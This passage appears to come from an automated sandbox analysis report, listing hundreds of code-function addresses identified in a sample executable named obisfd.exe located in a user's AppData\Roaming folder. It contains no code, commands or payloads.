Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030F1D9 7_2_0030F1D9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030D2B7 7_2_0030D2B7
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030FB08 7_2_0030FB08
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030ED40 7_2_0030ED40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030DD41 7_2_0030DD41
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030D5B8 7_2_0030D5B8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030D5C8 7_2_0030D5C8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030F670 7_2_0030F670
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E0040 7_2_004E0040
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E6440 7_2_004E6440
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E1C60 7_2_004E1C60
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E8060 7_2_004E8060
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E2C00 7_2_004E2C00
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E9000 7_2_004E9000
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E4820 7_2_004E4820
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E0CC0 7_2_004E0CC0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E70C0 7_2_004E70C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E28E0 7_2_004E28E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E8CE0 7_2_004E8CE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E3880 7_2_004E3880
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E54A0 7_2_004E54A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E1940 7_2_004E1940
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E7D40 7_2_004E7D40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E3560 7_2_004E3560
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E4500 7_2_004E4500
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E6112 7_2_004E6112
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E6120 7_2_004E6120
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E25C0 7_2_004E25C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E89C0 7_2_004E89C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E41E0 7_2_004E41E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E5180 7_2_004E5180
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E0990 7_2_004E0990
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E09A0 7_2_004E09A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E6DA0 7_2_004E6DA0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E3240 7_2_004E3240
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E4E60 7_2_004E4E60
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E5E00 7_2_004E5E00
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E1620 7_2_004E1620
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E7A20 7_2_004E7A20
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E3EC0 7_2_004E3EC0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E5AE0 7_2_004E5AE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E0680 7_2_004E0680
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E6A80 7_2_004E6A80
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E22A0 7_2_004E22A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E86A0 7_2_004E86A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E4B40 7_2_004E4B40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E0360 7_2_004E0360
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E6760 7_2_004E6760
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E1300 7_2_004E1300
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E7700 7_2_004E7700
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E2F20 7_2_004E2F20
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E57C0 7_2_004E57C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E0FE0 7_2_004E0FE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E73E0 7_2_004E73E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E1F80 7_2_004E1F80
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E8380 7_2_004E8380
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E3BA0 7_2_004E3BA0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004E57B0 7_2_004E57B0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F82B0 7_2_004F82B0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F95D0 7_2_004F95D0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F0040 7_2_004F0040
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F6E40 7_2_004F6E40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F8C40 7_2_004F8C40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F4040 7_2_004F4040
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F4050 7_2_004F4050
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FE250 7_2_004FE250
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F2068 7_2_004F2068
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FCA68 7_2_004FCA68
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F6068 7_2_004F6068
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F6078 7_2_004F6078
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FB274 7_2_004FB274
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F4E09 7_2_004F4E09
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F0E08 7_2_004F0E08
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F7C08 7_2_004F7C08
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F4E18 7_2_004F4E18
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FA418 7_2_004FA418
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FBC10 7_2_004FBC10
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FA428 7_2_004FA428
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FFA28 7_2_004FFA28
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FE23F 7_2_004FE23F
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FFA38 7_2_004FFA38
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F6E32 7_2_004F6E32
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F8C31 7_2_004F8C31
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F2E30 7_2_004F2E30
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F72C9 7_2_004F72C9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F32C8 7_2_004F32C8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FD8C0 7_2_004FD8C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F04D8 7_2_004F04D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F72D8 7_2_004F72D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FC0D8 7_2_004FC0D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F44D8 7_2_004F44D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F44E8 7_2_004F44E8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FA8E0 7_2_004FA8E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F90FC 7_2_004F90FC
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FA8F0 7_2_004FA8F0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F9A8C 7_2_004F9A8C
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FB280 7_2_004FB280
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F9A98 7_2_004F9A98
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FF098 7_2_004FF098
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FD8AF 7_2_004FD8AF
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FF0A8 7_2_004FF0A8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F52A1 7_2_004F52A1
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F12A0 7_2_004F12A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F52B0 7_2_004F52B0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F9F4F 7_2_004F9F4F
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F5748 7_2_004F5748
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FB748 7_2_004FB748
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F3751 7_2_004F3751
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F8767 7_2_004F8767
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F3760 7_2_004F3760
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F9F60 7_2_004F9F60
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F0960 7_2_004F0960
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F7760 7_2_004F7760
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F8778 7_2_004F8778
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FDD78 7_2_004FDD78
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F0970 7_2_004F0970
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F7770 7_2_004F7770
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FF570 7_2_004FF570
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F4970 7_2_004F4970
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FE70A 7_2_004FE70A
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F9108 7_2_004F9108
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F2500 7_2_004F2500
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F6500 7_2_004F6500
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FE718 7_2_004FE718
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F6510 7_2_004F6510
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FCF20 7_2_004FCF20
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F5739 7_2_004F5739
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F1738 7_2_004F1738
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FB737 7_2_004FB737
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FCF30 7_2_004FCF30
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FEBCF 7_2_004FEBCF
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F95C0 7_2_004F95C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F1BD0 7_2_004F1BD0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F5BD0 7_2_004F5BD0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FD3E8 7_2_004FD3E8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F5BE0 7_2_004F5BE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FEBE0 7_2_004FEBE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FD3F8 7_2_004FD3F8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F0DF8 7_2_004F0DF8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F7BF8 7_2_004F7BF8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FDD88 7_2_004FDD88
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F4980 7_2_004F4980
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F699A 7_2_004F699A
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F2998 7_2_004F2998
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FC590 7_2_004FC590
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F3BA9 7_2_004F3BA9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F69A8 7_2_004F69A8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FADA8 7_2_004FADA8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FC5A0 7_2_004FC5A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F3BB8 7_2_004F3BB8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004FADB8 7_2_004FADB8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069A120 7_2_0069A120
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069C060 7_2_0069C060
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069F260 7_2_0069F260
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069D640 7_2_0069D640
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069A440 7_2_0069A440
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00690040 7_2_00690040
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00691828 7_2_00691828
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069BA20 7_2_0069BA20
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069EC20 7_2_0069EC20
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069D000 7_2_0069D000
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00690006 7_2_00690006
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00693010 7_2_00693010
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069CCE0 7_2_0069CCE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006904F8 7_2_006904F8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00691CF0 7_2_00691CF0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069E2C0 7_2_0069E2C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069B0C0 7_2_0069B0C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006934D8 7_2_006934D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069C6A0 7_2_0069C6A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069F8A0 7_2_0069F8A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069AA80 7_2_0069AA80
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00692680 7_2_00692680
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069DC80 7_2_0069DC80
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00690E87 7_2_00690E87
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00690E98 7_2_00690E98
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069A760 7_2_0069A760
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00691360 7_2_00691360
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069D960 7_2_0069D960
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00692B48 7_2_00692B48
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069BD40 7_2_0069BD40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069EF40 7_2_0069EF40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069A750 7_2_0069A750
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069D320 7_2_0069D320
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00690508 7_2_00690508
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069B700 7_2_0069B700
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069E900 7_2_0069E900
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069E5E0 7_2_0069E5E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069B3E0 7_2_0069B3E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069C9C0 7_2_0069C9C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069FBC0 7_2_0069FBC0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006909C2 7_2_006909C2
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006909D0 7_2_006909D0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069ADA0 7_2_0069ADA0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006939A0 7_2_006939A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069DFA0 7_2_0069DFA0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006921B8 7_2_006921B8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069C380 7_2_0069C380
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0069F580 7_2_0069F580
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B0040 7_2_006B0040
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B68E8 7_2_006B68E8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BAA68 7_2_006BAA68
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B3D68 7_2_006B3D68
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BC468 7_2_006BC468
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BB760 7_2_006BB760
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B3D78 7_2_006B3D78
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BC478 7_2_006BC478
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BE978 7_2_006BE978
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B5778 7_2_006B5778
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BDE78 7_2_006BDE78
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BB770 7_2_006BB770
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B3070 7_2_006B3070
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B4A70 7_2_006B4A70
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B7A48 7_2_006B7A48
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B9448 7_2_006B9448
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BF740 7_2_006BF740
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B6D40 7_2_006B6D40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B8740 7_2_006B8740
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BAA59 7_2_006BAA59
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B9458 7_2_006B9458
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B305F 7_2_006B305F
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B8750 7_2_006B8750
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BCD28 7_2_006BCD28
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B4628 7_2_006B4628
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B6028 7_2_006B6028
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BC020 7_2_006BC020
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B3920 7_2_006B3920
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B5320 7_2_006B5320
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B6038 7_2_006B6038
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B7A3E 7_2_006B7A3E
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B5330 7_2_006B5330
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BDA30 7_2_006BDA30
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B6D30 7_2_006B6D30
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BF730 7_2_006BF730
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B9D08 7_2_006B9D08
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BB308 7_2_006BB308
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B9000 7_2_006B9000
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B0006 7_2_006B0006
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B461A 7_2_006B461A
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BB318 7_2_006BB318
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BEE10 7_2_006BEE10
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B3910 7_2_006B3910
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BC010 7_2_006BC010
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B68E2 7_2_006B68E2
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B5BE0 7_2_006B5BE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BE4E0 7_2_006BE4E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B82F8 7_2_006B82F8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B75F0 7_2_006B75F0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B8FF0 7_2_006B8FF0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B82F6 7_2_006B82F6
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B2AC9 7_2_006B2AC9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BBBC8 7_2_006BBBC8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B34C8 7_2_006B34C8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B4ECE 7_2_006B4ECE
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BC8C1 7_2_006BC8C1
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BAEC0 7_2_006BAEC0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B41C0 7_2_006B41C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B4ED8 7_2_006B4ED8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BD5D8 7_2_006BD5D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BFBD8 7_2_006BFBD8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B5BD2 7_2_006B5BD2
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BC8D0 7_2_006BC8D0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B41D0 7_2_006B41D0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BF2A8 7_2_006BF2A8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B8BA8 7_2_006B8BA8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B98A2 7_2_006B98A2
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B7EA0 7_2_006B7EA0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B34B9 7_2_006B34B9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BBBB8 7_2_006BBBB8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B98B0 7_2_006B98B0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BAEB0 7_2_006BAEB0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B5788 7_2_006B5788
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BDE88 7_2_006BDE88
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B7188 7_2_006B7188
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006BD180 7_2_006BD180
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B4A80 7_2_006B4A80
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B6480 7_2_006B6480
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B7198 7_2_006B7198
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B8B98 7_2_006B8B98
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B7E9E 7_2_006B7E9E
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006B6490 7_2_006B6490
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E2E78 7_2_006E2E78
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E0040 7_2_006E0040
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E3558 7_2_006E3558
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E3C38 7_2_006E3C38
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E4318 7_2_006E4318
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E49F8 7_2_006E49F8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E50D8 7_2_006E50D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E57B8 7_2_006E57B8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E2E68 7_2_006E2E68
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E354A 7_2_006E354A
